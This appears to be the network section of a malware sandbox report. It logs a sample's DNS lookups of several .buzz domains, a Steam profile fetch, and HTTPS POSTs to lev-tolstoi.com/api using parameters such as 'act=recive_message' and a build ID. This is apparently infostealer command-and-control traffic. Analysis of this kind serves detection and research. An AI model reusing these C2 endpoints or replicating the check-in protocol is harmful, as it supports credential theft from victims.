Dec 28, 2024 10:04:09.020714998 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:09.020733118 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.020991087 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.022429943 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:09.022598028 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:09.022620916 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.910164118 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.910279989 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:09.910376072 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:09.910670996 CET	49703	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:09.910689116 CET	443	49703	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:10.489257097 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:10.489303112 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:10.489382029 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:10.489800930 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:10.489811897 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:11.702426910 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:11.702527046 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:11.704205036 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:11.704210997 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:11.704461098 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:11.706075907 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:11.706243038 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:11.706271887 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:11.706335068 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:11.706338882 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:13.221874952 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:13.221975088 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:13.222183943 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:13.261588097 CET	49705	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:13.261605978 CET	443	49705	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:13.808778048 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:13.808887959 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:13.808978081 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:13.809623003 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:13.809663057 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:15.021866083 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:15.021959066 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:15.023282051 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:15.023299932 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:15.023533106 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:15.024833918 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:15.024960041 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:15.024987936 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:15.025130033 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:15.025145054 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:16.435512066 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:16.435604095 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:16.435668945 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:16.435914040 CET	49716	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:16.435940981 CET	443	49716	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:17.065795898 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:17.065836906 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:17.065911055 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:17.066319942 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:17.066333055 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:18.322166920 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:18.322259903 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:18.324110985 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:18.324120998 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:18.324423075 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:18.325861931 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:18.325984001 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:18.325989008 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:19.176681995 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:19.176763058 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:19.176825047 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:19.177128077 CET	49725	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:19.177146912 CET	443	49725	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:19.704502106 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:19.704547882 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:19.704668045 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:19.705034971 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:19.705048084 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.408739090 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.408875942 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.410701036 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.410726070 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.410967112 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.431191921 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432149887 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432184935 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.432291985 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432320118 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.432425022 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432491064 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.432624102 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432656050 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.432796955 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.432830095 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.432984114 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.433022976 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.433031082 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.433177948 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.433223963 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.479329109 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.479556084 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.479614973 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.479635000 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.527339935 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.527601957 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.527643919 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.527667999 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.575344086 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.575464010 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:21.619359970 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:21.793358088 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:25.281639099 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:25.281743050 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:25.281836987 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:25.282115936 CET	49732	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:25.282140017 CET	443	49732	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:25.308778048 CET	49748	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:25.308830976 CET	443	49748	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:25.308931112 CET	49748	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:25.309315920 CET	49748	443	192.168.2.7	172.67.157.254
Dec 28, 2024 10:04:25.309326887 CET	443	49748	172.67.157.254	192.168.2.7
Dec 28, 2024 10:04:26.560187101 CET	49748	443	192.168.2.7	172.67.157.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 10:03:58.754487038 CET	56451	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:58.894115925 CET	53	56451	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:58.898931026 CET	53955	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.037956953 CET	53	53955	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.041971922 CET	62631	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.180943012 CET	53	62631	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.184257984 CET	61136	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.325442076 CET	53	61136	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.327069998 CET	52788	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.466887951 CET	53	52788	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.469922066 CET	52836	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.611502886 CET	53	52836	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.615376949 CET	60816	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.756480932 CET	53	60816	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.759043932 CET	53628	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:03:59.898747921 CET	53	53628	1.1.1.1	192.168.2.7
Dec 28, 2024 10:03:59.904328108 CET	54860	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:04:00.045587063 CET	53	54860	1.1.1.1	192.168.2.7
Dec 28, 2024 10:04:00.048892975 CET	54945	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:04:00.188112974 CET	53	54945	1.1.1.1	192.168.2.7
Dec 28, 2024 10:04:02.854948044 CET	53580	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:04:02.995110035 CET	53	53580	1.1.1.1	192.168.2.7
Dec 28, 2024 10:04:10.090550900 CET	64016	53	192.168.2.7	1.1.1.1
Dec 28, 2024 10:04:10.488128901 CET	53	64016	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 10:03:58.754487038 CET	192.168.2.7	1.1.1.1	0x4149	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:58.898931026 CET	192.168.2.7	1.1.1.1	0x6e7d	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.041971922 CET	192.168.2.7	1.1.1.1	0x44af	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.184257984 CET	192.168.2.7	1.1.1.1	0x7c95	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.327069998 CET	192.168.2.7	1.1.1.1	0x4e71	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.469922066 CET	192.168.2.7	1.1.1.1	0x1c32	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.615376949 CET	192.168.2.7	1.1.1.1	0x1b1f	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.759043932 CET	192.168.2.7	1.1.1.1	0x9a87	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.904328108 CET	192.168.2.7	1.1.1.1	0xcf8e	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:00.048892975 CET	192.168.2.7	1.1.1.1	0x33df	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:02.854948044 CET	192.168.2.7	1.1.1.1	0x7cc6	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:10.090550900 CET	192.168.2.7	1.1.1.1	0x9051	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 10:03:58.894115925 CET	1.1.1.1	192.168.2.7	0x4149	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.037956953 CET	1.1.1.1	192.168.2.7	0x6e7d	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.180943012 CET	1.1.1.1	192.168.2.7	0x44af	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.325442076 CET	1.1.1.1	192.168.2.7	0x7c95	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.466887951 CET	1.1.1.1	192.168.2.7	0x4e71	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.611502886 CET	1.1.1.1	192.168.2.7	0x1c32	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.756480932 CET	1.1.1.1	192.168.2.7	0x1b1f	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:59.898747921 CET	1.1.1.1	192.168.2.7	0x9a87	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:00.045587063 CET	1.1.1.1	192.168.2.7	0xcf8e	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:00.188112974 CET	1.1.1.1	192.168.2.7	0x33df	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:02.995110035 CET	1.1.1.1	192.168.2.7	0x7cc6	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:02.995110035 CET	1.1.1.1	192.168.2.7	0x7cc6	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:10.488128901 CET	1.1.1.1	192.168.2.7	0x9051	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:10.488128901 CET	1.1.1.1	192.168.2.7	0x9051	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	23.55.153.106	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:01 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-28 09:04:02 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 28 Dec 2024 09:04:02 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=9ca3b848138b8de4f0edd45d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-28 09:04:02 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-28 09:04:02 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-28 09:04:02 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:04 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-28 09:04:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 09:04:04 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dkqt4i00l37e1bkopdgt1ll6a8; expires=Wed, 23 Apr 2025 02:50:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YUtJw3alKt9GRKgOU32tb4MQgF08PpGHQpnmvliDJcgZWWZ6axY2skP%2F9HByZM1zOXjaxlk2%2F3NALzLciO%2F4LyIs%2FSaFOTfZ2rS%2B%2Bk9rRPTS23JIyTLyxOLjw8MrPNCIVzQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f90617c5e1ede98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1532&min_rtt=1505&rtt_var=583&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1940199&cwnd=212&unsent_bytes=0&cid=c99111166f9338b4&ts=682&x=0"
2024-12-28 09:04:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 09:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-28 09:04:06 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-28 09:04:07 UTC	1121	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=idnnjou4dpi4jov7ecjarafjol; expires=Wed, 23 Apr 2025 02:50:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w9i%2F8WKyW3wLetgLsDfP9SKSu1uXHiVUS64dpqugZBJnMcsUn2jtW8GysuVIstlMZeXlALs1tHAVAKy4Rtv8KMj3pnUk%2BdrMnZgtgdvM1MZYixLdXd0gDXb2RTYpp7Xsk7M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061889f8f7ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1956&min_rtt=1952&rtt_var=741&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=946&delivery_rate=1466599&cwnd=239&unsent_bytes=0&cid=ddde1f3651fb4b45&ts=873&x=0"
2024-12-28 09:04:07 UTC	248	IN	Data Raw: 31 34 38 63 0d 0a 37 66 51 39 62 6d 4c 41 36 30 76 57 67 75 46 75 42 46 78 31 41 6f 75 6b 61 38 56 54 46 76 54 70 32 45 59 4f 68 33 56 65 46 58 4f 57 31 6b 74 4d 57 50 54 48 61 61 58 6e 77 31 52 77 4c 67 42 6e 70 34 59 4b 6f 58 45 73 6b 6f 69 30 4e 57 75 72 56 79 68 34 55 64 65 53 58 41 49 52 70 63 64 70 73 2f 72 44 56 46 38 6e 56 32 66 6c 68 6c 48 6e 4e 6e 79 57 69 4c 51 6b 62 2b 77 61 4c 6e 6b 51 68 5a 68 61 42 67 65 6a 6a 79 71 36 37 34 51 4c 59 54 30 66 62 4f 4c 4a 41 36 68 78 4f 74 61 4d 6f 6d 51 30 70 54 67 37 59 52 4b 67 6c 55 34 46 51 4c 33 48 4d 50 54 6e 6a 30 77 2b 66 68 52 6e 36 63 67 4e 6f 54 68 2b 6e 49 47 38 4a 57 72 74 42 54 64 7a 47 34 57 57 57 51 63 4e 71 70 73 6e 73 4f 69 50 44 57 73 39 56 79 36 70 77 52 48 6e 61 54 Data Ascii: 148c7fQ9bmLA60vWguFuBFx1Aouka8VTFvTp2EYOh3VeFXOW1ktMWPTHaaXnw1RwLgBnp4YKoXEskoi0NWurVyh4UdeSXAIRpcdps/rDVF8nV2flhlHnNnyWiLQkb+waLnkQhZhaBgejjyq674QLYT0fbOLJA6hxOtaMomQ0pTg7YRKglU4FQL3HMPTnj0w+fhRn6cgNoTh+nIG8JWrtBTdzG4WWWQcNqpsnsOiPDWs9Vy6pwRHnaT
